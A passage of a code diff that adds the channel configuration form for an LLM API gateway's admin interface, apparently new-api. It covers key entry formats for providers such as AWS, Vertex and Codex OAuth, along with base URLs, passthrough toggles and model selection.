+                    value={inputs.status_code_mapping || ''}
+                    onChange={(value) =>
+                      handleInputChange('status_code_mapping', value)
+                    }
+                    template={STATUS_CODE_MAPPING_EXAMPLE}
+                    templateLabel={t('填入模板')}
+                    editorType='keyValue'
+                    formApi={formApiRef.current}
+                    extraText={t('键为原状态码，值为要复写的状态码，仅影响本地判断')}
+                  />
+                </div>
+
+                {/* Channel Behavior Section */}
+                <div className='py-3 border-b border-gray-100'>
+                  <Text className='text-sm font-medium text-gray-500 mb-3 block'>
+                    {t('渠道行为')}
+                  </Text>
+
+                  <Form.Input
+                    field='tag'
+                    label={t('渠道标签')}
+                    placeholder={t('渠道标签')}
+                    showClear
+                    onChange={(value) => handleInputChange('tag', value)}
+                  />
+                  <Form.TextArea
+                    field='remark'
+                    label={t('备注')}
+                    placeholder={t('请输入备注（仅管理员可见）')}
+                    maxLength={255}
+                    showClear
+                    onChange={(value) => handleInputChange('remark', value)}
+                  />
+
+                  <Row gutter={12}>
+                    <Col span={12}>
+                      <Form.InputNumber
+                        field='priority'
+                        label={t('渠道优先级')}
+                        placeholder={t('渠道优先级')}
+                        min={0}
+                        onNumberChange={(value) => handleInputChange('priority', value)}
+                        style={{ width: '100%' }}
+                      />
+                    </Col>
+                    <Col span={12}>
+                      <Form.InputNumber
+                        field='weight'
+                        label={t('渠道权重')}
+                        placeholder={t('渠道权重')}
+                        min={0}
+                        onNumberChange={(value) => handleInputChange('weight', value)}
+                        style={{ width: '100%' }}
+                      />
+                    </Col>
+                  </Row>
+
+                  {inputs.type === 1 && (
+                    <>
+                      <div className='mt-4 mb-2 text-sm font-medium text-gray-700'>
+                        {t('字段透传控制')}
+                      </div>
+                      <Form.Switch field='allow_service_tier' label={t('允许 service_tier 透传')} checkedText={t('开')} uncheckedText={t('关')} onChange={(value) => handleChannelOtherSettingsChange('allow_service_tier', value)} extraText={t('service_tier 字段用于指定服务层级，允许透传可能导致实际计费高于预期。默认关闭以避免额外费用')} />
+                      <Form.Switch field='disable_store' label={t('禁用 store 透传')} checkedText={t('开')} uncheckedText={t('关')} onChange={(value) => handleChannelOtherSettingsChange('disable_store', value)} extraText={t('store 字段用于授权 OpenAI 存储请求数据以评估和优化产品。默认关闭，开启后可能导致 Codex 无法正常使用')} />
+                      <Form.Switch field='allow_safety_identifier' label={t('允许 safety_identifier 透传')} checkedText={t('开')} uncheckedText={t('关')} onChange={(value) => handleChannelOtherSettingsChange('allow_safety_identifier', value)} extraText={t('safety_identifier 字段用于帮助 OpenAI 识别可能违反使用政策的应用程序用户。默认关闭以保护用户隐私')} />
+                      <Form.Switch field='allow_include_obfuscation' label={t('允许 stream_options.include_obfuscation 透传')} checkedText={t('开')} uncheckedText={t('关')} onChange={(value) => handleChannelOtherSettingsChange('allow_include_obfuscation', value)} extraText={t('include_obfuscation 用于控制 Responses 流混淆字段。默认关闭以避免客户端关闭该安全保护')} />
+                    </>
+                  )}
+
+                  {inputs.type === 14 && (
+                    <>
+                      <div className='mt-4 mb-2 text-sm font-medium text-gray-700'>
+                        {t('字段透传控制')}
+                      </div>
+                      <Form.Switch field='allow_service_tier' label={t('允许 service_tier 透传')} checkedText={t('开')} uncheckedText={t('关')} onChange={(value) => handleChannelOtherSettingsChange('allow_service_tier', value)} extraText={t('service_tier 字段用于指定服务层级，允许透传可能导致实际计费高于预期。默认关闭以避免额外费用')} />
+                      <Form.Switch field='allow_inference_geo' label={t('允许 inference_geo 透传')} checkedText={t('开')} uncheckedText={t('关')} onChange={(value) => handleChannelOtherSettingsChange('allow_inference_geo', value)} extraText={t('inference_geo 字段用于控制 Claude 数据驻留推理区域。默认关闭以避免未经授权透传地域信息')} />
+                      <Form.Switch field='allow_speed' label={t('允许 speed 透传')} checkedText={t('开')} uncheckedText={t('关')} onChange={(value) => handleChannelOtherSettingsChange('allow_speed', value)} extraText={t('speed 字段用于控制 Claude 推理速度模式。默认关闭以避免意外切换到 fast 模式')} />
+                    </>
+                  )}
+                </div>
+
+                {/* Extra Settings Section */}
+                <div className='pt-3'>
+                  <Text className='text-sm font-medium text-gray-500 mb-3 block'>
+                    {t('额外设置')}
+                  </Text>
+
+                  {inputs.type === 14 && (
+                    <Form.Switch field='claude_beta_query' label={t('Claude 强制 beta=true')} checkedText={t('开')} uncheckedText={t('关')} onChange={(value) => handleChannelOtherSettingsChange('claude_beta_query', value)} extraText={t('开启后，该渠道请求 Claude 时将强制追加 ?beta=true（无需客户端手动传参）')} />
+                  )}
+
+                  {inputs.type === 1 && (
+                    <Form.Switch field='force_format' label={t('强制格式化')} checkedText={t('开')} uncheckedText={t('关')} onChange={(value) => handleChannelSettingsChange('force_format', value)} extraText={t('强制将响应格式化为 OpenAI 标准格式（只适用于OpenAI渠道类型）')} />
+                  )}
+
+                  <Form.Switch field='thinking_to_content' label={t('思考内容转换')} checkedText={t('开')} uncheckedText={t('关')} onChange={(value) => handleChannelSettingsChange('thinking_to_content', value)} extraText={t('将 reasoning_content 转换为 <think> 标签拼接到内容中')} />
+                  <Form.Switch field='pass_through_body_enabled' label={t('透传请求体')} checkedText={t('开')} uncheckedText={t('关')} onChange={(value) => handleChannelSettingsChange('pass_through_body_enabled', value)} extraText={t('启用请求体透传功能')} />
+
+                  <Form.Input field='proxy' label={t('代理地址')} placeholder={t('例如: socks5://user:pass@host:port')} onChange={(value) => handleChannelSettingsChange('proxy', value)} showClear extraText={t('用于配置网络代理，支持 socks5 协议')} />
+
+                  <Form.TextArea field='system_prompt' label={t('系统提示词')} placeholder={t('输入系统提示词，用户的系统提示词将优先于此设置')} onChange={(value) => handleChannelSettingsChange('system_prompt', value)} autosize showClear extraText={t('用户优先：如果用户在请求中指定了系统提示词，将优先使用用户的设置')} />
+                  <Form.Switch field='system_prompt_override' label={t('系统提示词拼接')} checkedText={t('开')} uncheckedText={t('关')} onChange={(value) => handleChannelSettingsChange('system_prompt_override', value)} extraText={t('如果用户请求中包含系统提示词，则使用此设置拼接到用户的系统提示词前面')} />
+                </div>
+              </div>
+            );
+
+            return (
+            <>
+            <Spin spinning={loading}>
+              <div className='p-2 space-y-3' ref={formContainerRef}>
+                {!isEdit && clipboardConfig && (
+                  <Banner
+                    type='info'
+                    className='ec-dbcd0a3c01b55203'
+                    description={
+                      <div className='flex items-center justify-between gap-2'>
+                        <span>{t('检测到剪贴板中的连接信息')}</span>
+                        <div className='flex gap-1'>
+                          <Button
+                            size='small'
+                            theme='solid'
+                            type='primary'
+                            onClick={() => applyClipboardConfig(clipboardConfig)}
+                          >
+                            {t('自动填入')}
+                          </Button>
+                          <Button
+                            size='small'
+                            type='tertiary'
+                            onClick={() => setClipboardConfig(null)}
+                          >
+                            {t('忽略')}
+                          </Button>
+                        </div>
+                      </div>
+                    }
+                  />
+                )}
+                {/* Core Configuration Card - Always Visible */}
+                <Card className='!rounded-2xl shadow-sm border-0'>
+                  {/* Header */}
+                  <div className='flex items-center mb-4'>
+                    <Avatar
+                      size='small'
+                      color='blue'
+                      className='mr-2 shadow-md'
+                    >
+                      <IconServer size={16} />
+                    </Avatar>
+                    <div>
+                      <Text className='text-lg font-medium'>
+                        {t('核心配置')}
+                      </Text>
+                      <div className='text-xs text-gray-600'>
+                        {t('创建渠道所需的基本信息')}
+                      </div>
+                    </div>
+                  </div>
+
+                    {isIonetChannel && (
+                      <Banner
+                        type='info'
+                        closeIcon={null}
+                        className='mb-4 rounded-xl'
+                        description={t(
+                          '此渠道由 IO.NET 自动同步，类型、密钥和 API 地址已锁定。',
+                        )}
+                      >
+                        <Space>
+                          {ionetMetadata?.deployment_id && (
+                            <Button
+                              size='small'
+                              theme='light'
+                              type='primary'
+                              icon={<IconGlobe />}
+                              onClick={handleOpenIonetDeployment}
+                            >
+                              {t('查看关联部署')}
+                            </Button>
+                          )}
+                        </Space>
+                      </Banner>
+                    )}
+
+                    <Form.Select
+                      field='type'
+                      label={t('类型')}
+                      placeholder={t('请选择渠道类型')}
+                      rules={[{ required: true, message: t('请选择渠道类型') }]}
+                      optionList={channelOptionList}
+                      style={{ width: '100%' }}
+                      filter={selectFilter}
+                      autoClearSearchValue={false}
+                      searchPosition='dropdown'
+                      onSearch={(value) => setChannelSearchValue(value)}
+                      renderOptionItem={renderChannelOption}
+                      onChange={(value) => handleInputChange('type', value)}
+                      disabled={isIonetLocked}
+                    />
+
+                    {inputs.type === 57 && (
+                      <Banner
+                        type='warning'
+                        closeIcon={null}
+                        className='mb-4 rounded-xl'
+                        description={t(
+                          '免责声明：仅限个人使用，请勿分发或共享任何凭证。该渠道存在前置条件与使用门槛，请在充分了解流程与风险后使用，并遵守 OpenAI 的相关条款与政策。相关凭证与配置仅限接入 Codex CLI 使用，不适用于其他客户端、平台或渠道。',
+                        )}
+                      />
+                    )}
+
+                    {inputs.type === 20 && (
+                      <Form.Switch
+                        field='is_enterprise_account'
+                        label={t('是否为企业账户')}
+                        checkedText={t('是')}
+                        uncheckedText={t('否')}
+                        onChange={(value) => {
+                          setIsEnterpriseAccount(value);
+                          handleInputChange('is_enterprise_account', value);
+                        }}
+                        extraText={t(
+                          '企业账户为特殊返回格式，需要特殊处理，如果非企业账户，请勿勾选',
+                        )}
+                        initValue={inputs.is_enterprise_account}
+                      />
+                    )}
+
+                    <Form.Input
+                      field='name'
+                      label={t('名称')}
+                      placeholder={t('请为渠道命名')}
+                      rules={[{ required: true, message: t('请为渠道命名') }]}
+                      showClear
+                      onChange={(value) => handleInputChange('name', value)}
+                      autoComplete='new-password'
+                    />
+
+                    {inputs.type === 33 && (
+                      <>
+                        <Form.Select
+                          field='aws_key_type'
+                          label={t('密钥格式')}
+                          placeholder={t('请选择密钥格式')}
+                          optionList={[
+                            {
+                              label: 'AccessKey / SecretAccessKey',
+                              value: 'ak_sk',
+                            },
+                            { label: 'API Key', value: 'api_key' },
+                          ]}
+                          style={{ width: '100%' }}
+                          value={inputs.aws_key_type || 'ak_sk'}
+                          onChange={(value) => {
+                            handleChannelOtherSettingsChange(
+                              'aws_key_type',
+                              value,
+                            );
+                          }}
+                          extraText={t(
+                            'AK/SK 模式：使用 AccessKey 和 SecretAccessKey；API Key 模式：使用 API Key',
+                          )}
+                        />
+                      </>
+                    )}
+
+                    {inputs.type === 41 && (
+                      <Form.Select
+                        field='vertex_key_type'
+                        label={t('密钥格式')}
+                        placeholder={t('请选择密钥格式')}
+                        optionList={[
+                          { label: 'JSON', value: 'json' },
+                          { label: 'API Key', value: 'api_key' },
+                        ]}
+                        style={{ width: '100%' }}
+                        value={inputs.vertex_key_type || 'json'}
+                        onChange={(value) => {
+                          // 更新设置中的 vertex_key_type
+                          handleChannelOtherSettingsChange(
+                            'vertex_key_type',
+                            value,
+                          );
+                          // 切换为 api_key 时，关闭批量与手动/文件切换，并清理已选文件
+                          if (value === 'api_key') {
+                            setBatch(false);
+                            setUseManualInput(false);
+                            setVertexKeys([]);
+                            setVertexFileList([]);
+                            if (formApiRef.current) {
+                              formApiRef.current.setValue('vertex_files', []);
+                            }
+                          }
+                        }}
+                        extraText={
+                          inputs.vertex_key_type === 'api_key'
+                            ? t('API Key 模式下不支持批量创建')
+                            : t('JSON 模式支持手动输入或上传服务账号 JSON')
+                        }
+                      />
+                    )}
+                    {batch ? (
+                      inputs.type === 41 &&
+                      (inputs.vertex_key_type || 'json') === 'json' ? (
+                        <Form.Upload
+                          field='vertex_files'
+                          label={t('密钥文件 (.json)')}
+                          accept='.json'
+                          multiple
+                          draggable
+                          dragIcon={<IconBolt />}
+                          dragMainText={t('点击上传文件或拖拽文件到这里')}
+                          dragSubText={t('仅支持 JSON 文件，支持多文件')}
+                          style={{ marginTop: 10 }}
+                          uploadTrigger='custom'
+                          beforeUpload={() => false}
+                          onChange={handleVertexUploadChange}
+                          fileList={vertexFileList}
+                          rules={
+                            isEdit
+                              ? []
+                              : [
+                                  {
+                                    required: true,
+                                    message: t('请上传密钥文件'),
+                                  },
+                                ]
+                          }
+                          extraText={batchExtra}
+                        />
+                      ) : (
+                        <Form.TextArea
+                          field='key'
+                          label={t('密钥')}
+                          placeholder={
+                            inputs.type === 33
+                              ? inputs.aws_key_type === 'api_key'
+                                ? t(
+                                    '请输入 API Key，一行一个，格式：APIKey|Region',
+                                  )
+                                : t(
+                                    '请输入密钥，一行一个，格式：AccessKey|SecretAccessKey|Region',
+                                  )
+                              : t('请输入密钥，一行一个')
+                          }
+                          rules={
+                            isEdit
+                              ? []
+                              : [{ required: true, message: t('请输入密钥') }]
+                          }
+                          autosize
+                          autoComplete='new-password'
+                          onChange={(value) => handleInputChange('key', value)}
+                          disabled={isIonetLocked}
+                          extraText={
+                            <div className='flex items-center gap-2 flex-wrap'>
+                              {isEdit &&
+                                isMultiKeyChannel &&
+                                keyMode === 'append' && (
+                                  <Text type='warning' size='small'>
+                                    {t(
+                                      '追加模式：新密钥将添加到现有密钥列表的末尾',
+                                    )}
+                                  </Text>
+                                )}
+                              {isEdit && (
+                                <Button
+                                  size='small'
+                                  type='primary'
+                                  theme='outline'
+                                  onClick={handleShow2FAModal}
+                                >
+                                  {t('查看密钥')}
+                                </Button>
+                              )}
+                              {batchExtra}
+                            </div>
+                          }
+                          showClear
+                        />
+                      )
+                    ) : (
+                      <>
+                        {inputs.type === 57 ? (
+                          <>
+                            <Form.TextArea
+                              field='key'
+                              label={
+                                isEdit
+                                  ? t('密钥（编辑模式下，保存的密钥不会显示）')
+                                  : t('密钥')
+                              }
+                              placeholder={t(
+                                '请输入 JSON 格式的 OAuth 凭据，例如：\n{\n  "access_token": "...",\n  "account_id": "..." \n}',
+                              )}
+                              rules={
+                                isEdit
+                                  ? []
+                                  : [
+                                      {
+                                        required: true,
+                                        message: t('请输入密钥'),
+                                      },
+                                    ]
+                              }
+                              autoComplete='new-password'
+                              onChange={(value) =>
+                                handleInputChange('key', value)
+                              }
+                              disabled={isIonetLocked}
+                              extraText={
+                                <div className='flex flex-col gap-2'>
+                                  <Text type='tertiary' size='small'>
+                                    {t(
+                                      '仅支持 JSON 对象，必须包含 access_token 与 account_id',
+                                    )}
+                                  </Text>
+
+                                  <Space wrap spacing='tight'>
+                                    <Button
+                                      size='small'
+                                      type='primary'
+                                      theme='outline'
+                                      onClick={() =>
+                                        setCodexOAuthModalVisible(true)
+                                      }
+                                      disabled={isIonetLocked}
+                                    >
+                                      {t('Codex 授权')}
+                                    </Button>
+                                    {isEdit && (
+                                      <Button
+                                        size='small'
+                                        type='primary'
+                                        theme='outline'
+                                        onClick={handleRefreshCodexCredential}
+                                        loading={codexCredentialRefreshing}
+                                        disabled={isIonetLocked}
+                                      >
+                                        {t('刷新凭证')}
+                                      </Button>
+                                    )}
+                                    <Button
+                                      size='small'
+                                      type='primary'
+                                      theme='outline'
+                                      onClick={() => formatJsonField('key')}
+                                      disabled={isIonetLocked}
+                                    >
+                                      {t('格式化')}
+                                    </Button>
+                                    {isEdit && (
+                                      <Button
+                                        size='small'
+                                        type='primary'
+                                        theme='outline'
+                                        onClick={handleShow2FAModal}
+                                        disabled={isIonetLocked}
+                                      >
+                                        {t('查看密钥')}
+                                      </Button>
+                                    )}
+                                    {batchExtra}
+                                  </Space>
+                                </div>
+                              }
+                              autosize
+                              showClear
+                            />
+
+                            <CodexOAuthModal
+                              visible={codexOAuthModalVisible}
+                              onCancel={() => setCodexOAuthModalVisible(false)}
+                              onSuccess={handleCodexOAuthGenerated}
+                            />
+                          </>
+                        ) : inputs.type === 41 &&
+                          (inputs.vertex_key_type || 'json') === 'json' ? (
+                          <>
+                            {!batch && (
+                              <div className='flex items-center justify-between mb-3'>
+                                <Text className='text-sm font-medium'>
+                                  {t('密钥输入方式')}
+                                </Text>
+                                <Space>
+                                  <Button
+                                    size='small'
+                                    type={
+                                      !useManualInput ? 'primary' : 'tertiary'
+                                    }
+                                    onClick={() => {
+                                      setUseManualInput(false);
+                                      // 切换到文件上传模式时清空手动输入的密钥
+                                      if (formApiRef.current) {
+                                        formApiRef.current.setValue('key', '');
+                                      }
+                                      handleInputChange('key', '');
+                                    }}
+                                  >
+                                    {t('文件上传')}
+                                  </Button>
+                                  <Button
+                                    size='small'
+                                    type={
+                                      useManualInput ? 'primary' : 'tertiary'
+                                    }
+                                    onClick={() => {
+                                      setUseManualInput(true);
+                                      // 切换到手动输入模式时清空文件上传相关状态
+                                      setVertexKeys([]);
+                                      setVertexFileList([]);
+                                      if (formApiRef.current) {
+                                        formApiRef.current.setValue(
+                                          'vertex_files',
+                                          [],
+                                        );
+                                      }
+                                      setInputs((prev) => ({
+                                        ...prev,
+                                        vertex_files: [],
+                                      }));
+                                    }}
+                                  >
+                                    {t('手动输入')}
+                                  </Button>
+                                </Space>
+                              </div>
+                            )}
+
+                            {batch && (
+                              <Banner
+                                type='info'
+                                description={t(
+                                  '批量创建模式下仅支持文件上传，不支持手动输入',
+                                )}
+                                className='!rounded-lg mb-3'
+                              />
+                            )}
+
+                            {useManualInput && !batch ? (
+                              <Form.TextArea
+                                field='key'
+                                label={
+                                  isEdit
+                                    ? t(
+                                        '密钥（编辑模式下，保存的密钥不会显示）',
+                                      )
+                                    : t('密钥')
+                                }
+                                placeholder={t(
+                                  '请输入 JSON 格式的密钥内容，例如：\n{\n  "type": "service_account",\n  "project_id": "your-project-id",\n  "private_key_id": "...",\n  "private_key": "...",\n  "client_email": "...",\n  "client_id": "...",\n  "auth_uri": "...",\n  "token_uri": "...",\n  "auth_provider_x509_cert_url": "...",\n  "client_x509_cert_url": "..."\n}',
+                                )}
+                                rules={
+                                  isEdit
+                                    ? []
+                                    : [
+                                        {
+                                          required: true,
+                                          message: t('请输入密钥'),
+                                        },
+                                      ]
+                                }
+                                autoComplete='new-password'
+                                onChange={(value) =>
+                                  handleInputChange('key', value)
+                                }
+                                extraText={
+                                  <div className='flex items-center gap-2'>
+                                    <Text type='tertiary' size='small'>
+                                      {t('请输入完整的 JSON 格式密钥内容')}
+                                    </Text>
+                                    {isEdit &&
+                                      isMultiKeyChannel &&
+                                      keyMode === 'append' && (
+                                        <Text type='warning' size='small'>
+                                          {t(
+                                            '追加模式：新密钥将添加到现有密钥列表的末尾',
+                                          )}
+                                        </Text>
+                                      )}
+                                    {isEdit && (
+                                      <Button
+                                        size='small'
+                                        type='primary'
+                                        theme='outline'
+                                        onClick={handleShow2FAModal}
+                                      >
+                                        {t('查看密钥')}
+                                      </Button>
+                                    )}
+                                    {batchExtra}
+                                  </div>
+                                }
+                                autosize
+                                showClear
+                              />
+                            ) : (
+                              <Form.Upload
+                                field='vertex_files'
+                                label={t('密钥文件 (.json)')}
+                                accept='.json'
+                                draggable
+                                dragIcon={<IconBolt />}
+                                dragMainText={t('点击上传文件或拖拽文件到这里')}
+                                dragSubText={t('仅支持 JSON 文件')}
+                                style={{ marginTop: 10 }}
+                                uploadTrigger='custom'
+                                beforeUpload={() => false}
+                                onChange={handleVertexUploadChange}
+                                fileList={vertexFileList}
+                                rules={
+                                  isEdit
+                                    ? []
+                                    : [
+                                        {
+                                          required: true,
+                                          message: t('请上传密钥文件'),
+                                        },
+                                      ]
+                                }
+                                extraText={batchExtra}
+                              />
+                            )}
+                          </>
+                        ) : (
+                          <Form.Input
+                            field='key'
+                            label={
+                              isEdit
+                                ? t('密钥（编辑模式下，保存的密钥不会显示）')
+                                : t('密钥')
+                            }
+                            placeholder={
+                              inputs.type === 33
+                                ? inputs.aws_key_type === 'api_key'
+                                  ? t('请输入 API Key，格式：APIKey|Region')
+                                  : t(
+                                      '按照如下格式输入：AccessKey|SecretAccessKey|Region',
+                                    )
+                                : t(type2secretPrompt(inputs.type))
+                            }
+                            rules={
+                              isEdit
+                                ? []
+                                : [{ required: true, message: t('请输入密钥') }]
+                            }
+                            autoComplete='new-password'
+                            onChange={(value) =>
+                              handleInputChange('key', value)
+                            }
+                            extraText={
+                              <div className='flex items-center gap-2'>
+                                {isEdit &&
+                                  isMultiKeyChannel &&
+                                  keyMode === 'append' && (
+                                    <Text type='warning' size='small'>
+                                      {t(
+                                        '追加模式：新密钥将添加到现有密钥列表的末尾',
+                                      )}
+                                    </Text>
+                                  )}
+                                {isEdit && (
+                                  <Button
+                                    size='small'
+                                    type='primary'
+                                    theme='outline'
+                                    onClick={handleShow2FAModal}
+                                  >
+                                    {t('查看密钥')}
+                                  </Button>
+                                )}
+                                {batchExtra}
+                              </div>
+                            }
+                            showClear
+                          />
+                        )}
+                      </>
+                    )}
+
+                    {isEdit && isMultiKeyChannel && (
+                      <Form.Select
+                        field='key_mode'
+                        label={t('密钥更新模式')}
+                        placeholder={t('请选择密钥更新模式')}
+                        optionList={[
+                          { label: t('追加到现有密钥'), value: 'append' },
+                          { label: t('覆盖现有密钥'), value: 'replace' },
+                        ]}
+                        style={{ width: '100%' }}
+                        value={keyMode}
+                        onChange={(value) => setKeyMode(value)}
+                        extraText={
+                          <Text type='tertiary' size='small'>
+                            {keyMode === 'replace'
+                              ? t('覆盖模式：将完全替换现有的所有密钥')
+                              : t('追加模式：将新密钥添加到现有密钥列表末尾')}
+                          </Text>
+                        }
+                      />
+                    )}
+                    {batch && multiToSingle && (
+                      <>
+                        <Form.Select
+                          field='multi_key_mode'
+                          label={t('密钥聚合模式')}
+                          placeholder={t('请选择多密钥使用策略')}
+                          optionList={[
+                            { label: t('随机'), value: 'random' },
+                            { label: t('轮询'), value: 'polling' },
+                          ]}
+                          style={{ width: '100%' }}
+                          value={inputs.multi_key_mode || 'random'}
+                          onChange={(value) => {
+                            setMultiKeyMode(value);
+                            handleInputChange('multi_key_mode', value);
+                          }}
+                        />
+                        {inputs.multi_key_mode === 'polling' && (
+                          <Banner
+                            type='warning'
+                            description={t(
+                              '轮询模式必须搭配Redis和内存缓存功能使用，否则性能将大幅降低，并且无法实现轮询功能',
+                            )}
+                            className='!rounded-lg mt-2'
+                          />
+                        )}
+                      </>
+                    )}
+
+                    {inputs.type === 18 && (
+                      <Form.Input
+                        field='other'
+                        label={t('模型版本')}
+                        placeholder={
+                          '请输入星火大模型版本，注意是接口地址中的版本号，例如：v2.1'
+                        }
+                        onChange={(value) => handleInputChange('other', value)}
+                        showClear
+                      />
+                    )}
+
+                    {inputs.type === 41 && (
+                      <JSONEditor
+                        key={`region-${isEdit ? channelId : 'new'}`}
+                        field='other'
+                        label={t('部署地区')}
+                        placeholder={t(
+                          '请输入部署地区，例如：us-central1\n支持使用模型映射格式\n{\n    "default": "us-central1",\n    "claude-3-5-sonnet-20240620": "europe-west1"\n}',
+                        )}
+                        value={inputs.other || ''}
+                        onChange={(value) => handleInputChange('other', value)}
+                        rules={[
+                          { required: true, message: t('请填写部署地区') },
+                        ]}
+                        template={REGION_EXAMPLE}
+                        templateLabel={t('填入模板')}
+                        editorType='region'
+                        formApi={formApiRef.current}
+                        extraText={t('设置默认地区和特定模型的专用地区')}
+                      />
+                    )}
+
+                    {inputs.type === 21 && (
+                      <Form.Input
+                        field='other'
+                        label={t('知识库 ID')}
+                        placeholder={'请输入知识库 ID，例如：123456'}
+                        onChange={(value) => handleInputChange('other', value)}
+                        showClear
+                      />
+                    )}
+
+                    {inputs.type === 39 && (
+                      <Form.Input
+                        field='other'
+                        label='Account ID'
+                        placeholder={
+                          '请输入Account ID，例如：d6b5da8hk1awo8nap34ube6gh'
+                        }
+                        onChange={(value) => handleInputChange('other', value)}
+                        showClear
+                      />
+                    )}
+
+                    {inputs.type === 49 && (
+                      <Form.Input
+                        field='other'
+                        label={t('智能体ID')}
+                        placeholder={'请输入智能体ID，例如：7342866812345'}
+                        onChange={(value) => handleInputChange('other', value)}
+                        showClear
+                      />
+                    )}
+
+                    {inputs.type === 1 && (
+                      <Form.Input
+                        field='openai_organization'
+                        label={t('组织')}
+                        placeholder={t('请输入组织org-xxx')}
+                        showClear
+                        helpText={t('组织，不填则为默认组织')}
+                        onChange={(value) =>
+                          handleInputChange('openai_organization', value)
+                        }
+                      />
+                    )}
+
+                  {/* API Configuration Section */}
+                  {showApiConfigCard && (
+                    <div onClick={handleApiConfigSecretClick}>
+
+                      {inputs.type === 40 && (
+                        <Banner
+                          type='info'
+                          description={
+                            <div>
+                              <Text strong>{t('邀请链接')}:</Text>
+                              <Text
+                                link
+                                underline
+                                className='ml-2 cursor-pointer'
+                                onClick={() =>
+                                  window.open(
+                                    'https://cloud.siliconflow.cn/i/hij0YNTZ',
+                                  )
+                                }
+                              >
+                                https://cloud.siliconflow.cn/i/hij0YNTZ
+                              </Text>
+                            </div>
+                          }
+                          className='!rounded-lg'
+                        />
+                      )}
+
+                      {inputs.type === 3 && (
+                        <>
+                          <Banner
+                            type='warning'
+                            description={t(
+                              '2025年5月10日后添加的渠道，不需要再在部署的时候移除模型名称中的"."',
+                            )}
+                            className='!rounded-lg'
+                          />
+                          <div>
+                            <Form.Input
+                              field='base_url'
+                              label='AZURE_OPENAI_ENDPOINT'
+                              placeholder={t(
+                                '请输入 AZURE_OPENAI_ENDPOINT，例如：https://docs-test-001.openai.azure.com',
+                              )}
+                              onChange={(value) =>
+                                handleInputChange('base_url', value)
+                              }
+                              showClear
+                              disabled={isIonetLocked}
+                            />
+                          </div>
+                          <div>
+                            <Form.Input
+                              field='other'
+                              label={t('默认 API 版本')}
+                              placeholder={t(
+                                '请输入默认 API 版本，例如：2025-04-01-preview',
+                              )}
+                              onChange={(value) =>
+                                handleInputChange('other', value)
+                              }
+                              showClear
+                            />
+                          </div>
+                          <div>
+                            <Form.Input
+                              field='azure_responses_version'
+                              label={t(
+                                '默认 Responses API 版本，为空则使用上方版本',
+                              )}
+                              placeholder={t('例如：preview')}
+                              onChange={(value) =>
+                                handleChannelOtherSettingsChange(
+                                  'azure_responses_version',
+                                  value,
+                                )
+                              }
+                              showClear
+                            />
+                          </div>
+                        </>
+                      )}
+
+                      {inputs.type === 8 && (
+                        <>
+                          <Banner
+                            type='warning'
+                            description={t(
+                              '如果你对接的是上游One API或者New API等转发项目，请使用OpenAI类型，不要使用此类型，除非你知道你在做什么。',
+                            )}
+                            className='!rounded-lg'
+                          />
+                          <div>
+                            <Form.Input
+                              field='base_url'
+                              label={t('完整的 Base URL，支持变量{model}')}
+                              placeholder={t(
+                                '请输入完整的URL，例如：https://api.openai.com/v1/chat/completions',
+                              )}
+                              onChange={(value) =>
+                                handleInputChange('base_url', value)
+                              }
+                              showClear
+                              disabled={isIonetLocked}
+                            />
+                          </div>
+                        </>
+                      )}
+
+                      {inputs.type === 37 && (
+                        <Banner
+                          type='warning'
+                          description={t(
+                            'Dify渠道只适配chatflow和agent，并且agent不支持图片！',
+                          )}
+                          className='!rounded-lg'
+                        />
+                      )}
+
+                      {inputs.type !== 3 &&
+                        inputs.type !== 8 &&
+                        inputs.type !== 22 &&
+                        inputs.type !== 36 &&
+                        (inputs.type !== 45 || doubaoApiEditUnlocked) && (
+                          <div>
+                            <Form.Input
+                              field='base_url'
+                              label={t('API地址')}
+                              placeholder={t(
+                                '此项可选，用于通过自定义API地址来进行 API 调用，末尾不要带/v1和/',
+                              )}
+                              onChange={(value) =>
+                                handleInputChange('base_url', value)
+                              }
+                              showClear
+                              disabled={isIonetLocked}
+                              extraText={t(
+                                '对于官方渠道，new-api已经内置地址，除非是第三方代理站点或者Azure的特殊接入地址，否则不需要填写',
+                              )}
+                            />
+                          </div>
+                        )}
+
+                      {inputs.type === 22 && (
+                        <div>
+                          <Form.Input
+                            field='base_url'
+                            label={t('私有部署地址')}
+                            placeholder={t(
+                              '请输入私有部署地址，格式为：https://fastgpt.run/api/openapi',
+                            )}
+                            onChange={(value) =>
+                              handleInputChange('base_url', value)
+                            }
+                            showClear
+                            disabled={isIonetLocked}
+                          />
+                        </div>
+                      )}
+
+                      {inputs.type === 36 && (
+                        <div>
+                          <Form.Input
+                            field='base_url'
+                            label={t(
+                              '注意非Chat API，请务必填写正确的API地址，否则可能导致无法使用',
+                            )}
+                            placeholder={t(
+                              '请输入到 /suno 前的路径，通常就是域名，例如：https://api.example.com',
+                            )}
+                            onChange={(value) =>
+                              handleInputChange('base_url', value)
+                            }
+                            showClear
+                            disabled={isIonetLocked}
+                          />
+                        </div>
+                      )}
+
+                      {inputs.type === 45 && !doubaoApiEditUnlocked && (
+                        <div>
+                          <Form.Select
+                            field='base_url'
+                            label={t('API地址')}
+                            placeholder={t('请选择API地址')}
+                            onChange={(value) =>
+                              handleInputChange('base_url', value)
+                            }
+                            optionList={[
+                              {
+                                value: 'https://ark.cn-beijing.volces.com',
+                                label: 'https://ark.cn-beijing.volces.com',
+                              },
+                              {
+                                value:
+                                  'https://ark.ap-southeast.bytepluses.com',
+                                label:
+                                  'https://ark.ap-southeast.bytepluses.com',
+                              },
+                              {
+                                value: DEPRECATED_DOUBAO_CODING_PLAN_BASE_URL,
+                                label: doubaoCodingPlanOptionLabel,
+                                disabled: !canKeepDeprecatedDoubaoCodingPlan,
+                              },
+                            ]}
+                            defaultValue='https://ark.cn-beijing.volces.com'
+                            disabled={isIonetLocked}
+                          />
+                        </div>
+                      )}
+                    </div>
+                  )}
+
+                  {/* Model Selection - Part of Core Config */}
+                  <Form.Select
+                      field='models'
+                      label={t('模型')}
+                      placeholder={t('请选择该渠道所支持的模型')}
+                      rules={[{ required: true, message: t('请选择模型') }]}
+                      multiple
+                      filter={selectFilter}
+                      allowCreate
+                      autoClearSearchValue={false}
+                      searchPosition='dropdown'
+                      optionList={modelOptions}
+                      onSearch={(value) => setModelSearchValue(value)}
+                      innerBottomSlot={
+                        modelSearchHintText ? (
+                          <Text className='px-3 py-2 block text-xs !text-semi-color-text-2'>
+                            {modelSearchHintText}
+                          </Text>
+                        ) : null
+                      }
+                      style={{ width: '100%' }}
+                      onChange={(value) => handleInputChange('models', value)}
+                      renderSelectedItem={(optionNode) => {
+                        const modelName = String(optionNode?.value ?? '');
+                        return {
+                          isRenderInTag: true,
